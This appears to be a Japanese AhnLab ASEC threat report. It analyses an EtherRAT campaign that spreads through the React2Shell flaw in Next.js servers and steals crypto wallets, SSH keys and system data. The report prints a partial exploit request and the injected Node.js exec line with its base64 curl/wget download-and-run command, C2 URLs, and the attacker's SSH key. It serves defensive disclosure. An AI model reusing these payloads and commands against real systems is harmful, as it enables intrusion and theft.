AhnLab SEcurity intelligence Center(ASEC)では、近年公開された React2Shell 脆弱性を追跡していたところ、Node.js を活用した高度化したマルウェアの配布を確認した。この攻撃は、複数の段階を経て EtherRAT として知られているマルウェアをインストールし、最終的な目的は、拠点確保、情報窃取、仮想通貨窃取であることが確認された。
攻撃者は、攻撃対象の IP アドレスの 80 ポートに初めて接続したあと、すぐに React2Shell 脆弱性攻撃のパケットを送信した。分析の結果、自動化されたスクリプトにより攻撃を実行しており、特定の国を対象とした攻撃ではなく、ランダムに生成された IP が攻撃対象であることが確認された。また、攻撃過程でロシア語で作成されたコードと、旧ソ連諸国は攻撃対象から除外するコードが確認された。
この攻撃の初期侵入過程で使用されたパケット情報は以下の通りである。
- 初回接続
|
Header |
|---|
| GET / HTTP/1.1
Host: { IP Address } Connection: keep-alive |
- 脆弱性の攻撃
|
Header |
|---|
| POST / HTTP/1.1
Host: { IP Address } Content-Type: multipart/form-data; boundary=—-R2gc3yr5k1ev Next-Action: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Connection: keep-alive Transfer-Encoding: chunked |
|
Data |
|---|
| ——R2gc3yr5k1ev
Content-Disposition: form-data; name=”0″ (省略) ——R2gc3yr5k1ev– Content-Disposition: form-data; name=”1″
“$@0” ——R2gc3yr5k1ev Content-Disposition: form-data; name=”2″ [] ——R2gc3yr5k1ev– |
上記の脆弱性攻撃パケットが脆弱な状態の React サーバーに伝達されると、以下のコードが実行される。
| Node.js コード | var cp = process.mainModule.require(“child_process”); try { cp.exec(“echo KGN1cmwgLXMgaHR0cDovLzE5My4yNC4xMjMuNjg6MzAwMS9nZmRzZ3NkZmhmc2RfZ2hzZmRnc2ZkZ3NkZmcuc2ggLW8gL3RtcC9zLnNofHx3Z2V0IC1xIC1PIC90 bXAvcy5zaCBodHRwOi8vMTkzLjI0LjEyMy42ODozMDAxL2dmZHNnc2RmaGZzZF9naHNmZGdzZmRnc2RmZy5zaCkmJmNobW9kICt4IC90bXAvcy5zaCYmL3RtcC9zLnNoICY=|base64 -d|sh”) |
|---|---|
| シェル実行コード | (curl -s hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o /tmp/s.sh||wget -q -O /tmp/s.sh hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh)&&chmod +x /tmp/s.sh&&/tmp/s.sh |
curl または wget を使用して C2 からシェルスクリプトをダウンロードし、「/tmp/s.sh」パスに保存後、実行する。このシェルスクリプトは、システムの特定パスに Node.js(v20.10.0)をインストールし、暗号化されたデータファイルおよび Node.js スクリプトを作成後、実行する。
- ダウンロード URL: hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh
この過程で実行される Node.js スクリプトは、暗号化されたデータファイルを AES 復号化後、実行する機能を持つ。データファイル復号化結果は別の Node.js スクリプトであり、EtherRAT と呼ばれるマルウェアである。

図1. 感染システムのディレクトリ構造
EtherRAT の主な特徴は C2 アドレスを取得する方式である。イーサリアムコントラクトを照会したデータから C2 文字列を抽出する。このマルウェアがイーサリアムコントラクトを照会するのに活用するデータとドメインは以下の通りである。
- 対象: 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4
- データ: 0x7d434425000000000000000000000000e941a9b283006f5163ee6b01c1f23aa5951c4c8d
- ドメイン
この情報をもとにコントラクトを照会すると、以下の図のように C2 文字列を確認することができる。

図2. コントラクト照会結果
コントラクト照会で得た C2 アドレスと拡張子、変数名、乱数を組み合わせて C2 URL を生成したあと、接続を試みる。拡張子は[png, jpg, gif, css, ico, webp]の中の1つを、変数名は[id,token,key,b,q,s,v]の中の1つを無作為に選択して使用する。最終接続 URL は以下の形式である。
| hxxp://91.215.85[.]42:3000/api/{乱数}/{UUID1}/{乱数}.{拡張子}?{変数名}={UUID2} |
当該マルウェアは定期的に C2 に接続し、C2 から応答したスクリプトを実行することができる。解析当時 C2 では合計5つの追加不正なスクリプトを実行するように応答した。追加スクリプトはそれぞれ、伝播、仮想通貨のウォレット窃取、情報窃取、 SSH キー登録、リダイレクションの振る舞いを行う。
C2 から応答した5つのスクリプトに関する情報は以下の通りであり、スクリプトではロシア語を使用したコードと、一部の旧ソ連諸国は攻撃対象から除外するコードが確認された。
[伝播]
無作為に生成した IP アドレスの[80, 443, 3000, 3001, 8080, 8443] ポートを対象にスキャンおよび攻撃を実行する。この攻撃は、特定の国を対象とせず、総攻撃であることが確認できる。

図3. 攻撃対象のランダム IP 生成コード
初回接続時に GET リクエストを使用し、このときのレスポンスをチェックして特定の条件に合致する場合、React 脆弱性攻撃のパケットを送信する。
- ヘッダーチェック
“x-powered-by: Next.js”
“x-nextjs-page:” - 本文チェック
“/_next/”
“__NEXT_DATA__”
[仮想通貨窃取]
仮想通貨のウォレット情報、SSH キー情報、クラウド設定情報、コンソールヒストリ情報と関連したファイルデータを収集して C2 に送信する。特に仮想通貨のウォレット復旧に使用される文字列セット(BIP39) 2048個を全数チェックし、ウォレット関連の文字列が存在するファイルもまた窃取対象に含まれる。複数のディレクトリをスキャン後、マッチするファイル名とデータを以下の C2 に送信する。
- 送信 URL hxxp://91.215.85[.]42:3000/crypto/keys

그림 4. 암호 화폐 탈취 관련 코드図4. 仮想通貨窃取に関連したコード
[情報窃取]
システムの情報を窃取して C2 に送信する。OS 情報、ドメイン情報、使用 AV 情報、VGA 情報等、様々な情報を収集し、システムのロケール情報をチェックして以下の言語コードにマッチする場合には、不正な振る舞いを実行しない。
- ru: ロシア
- ru: ロシア
- kk: カザフスタン
- ky: キルギススタン
- tg: タジキスタン
- uz: ウズベキスタン
- hy: アルメニア
- az: アゼルバイジャン
- ka: ジョージア

図5. 感染システムのロケール確認コード
[SSH 接続キー登録]
侵害システムに持続的にアクセス可能なように SSH キーをインストールする。キー情報は以下の通りである。
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFTxaWmhQkYYF2LgNsAumFqxUiUSv8YEd7DRE9Wb076YxY0fGn4scWzmQnIP/xsrynapcrGKhBXW31BG7wFearY9fctJeHrnAw7CeXqMybFPGIrl+PbLsUnH2AeizjqTOhVZMrgO+0MdsNrdGTN58azTRIvDvgXX9/4p5tinRvisP8jQXPwRv9gurT9hbjrff8bFYmbttSkFXzwlvo5jVi3WrDBLeSSaEnolsJbvCGzzNtm2s77O3yesztMOn03YR1b1QWaOZMTQtzS7gvpKQ8voxypyUd2H+qwK1fe3S7t3QHnNBoKxHXi/KsxgFbY9G74SKV15jTFyrJCJOaYQbVSZiz+uPYDRgW4xBKDsKEx5ne2E4oqJVSSNiZ/QJs0+zA3QFIflcR3WrZ6xxw0ivk/nvhzcCsd+K94jK/qheJzrTTvWqjo8FauCN8LtxqQGpbNWHHRJqc2m/lTt8CA2V89RquqMX7FhArF86TnMxHHt9IDDCf07eIEbpLuWGpJLBJeHbqy5h8yB8ZoUj/E3E7+KMd6HGvYkKxn3YItfopArpg6AfWzP0bjyw7yzxdsbElkxL3K6UcBeTBXb/HMOpTE9uyNN4TvczJZAbB6Yy51x2RU4Yd815MFVPVFFn+5/z+ZyK9442c9/UHKMcbOtXkvydWM7v01xCc8tFlIFKa4w== root@vps |
このスクリプトでは、ロシア語のエラーハンドリング文字列が確認される。

図6. エラーハンドリングコード(ロシア語)
[リダイレクション]
このスクリプトが動作中の場合、HTTP パケットを特定の URL にリダイレクションし、ウェブフックアドレスにシステム情報を送信する。実際に識別された攻撃地の IP アドレスに接続してみると、このページにリダイレクションされることが確認できる。これは、別のスキャナーの脆弱性攻撃を防ぐためと解釈される。

図7. リダイレクションパケット情報
- リダイレクション URL: https://xss.pro
- Webhook URL: hxxps://webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361
このように、主要な脆弱性が公開されると攻撃者は この脆弱性を悪用した攻撃を試みる。セキュリティ勧告文をモニタリングし、使用中の製品を最新バージョンに管理する必要がある。
Categories: マルウェア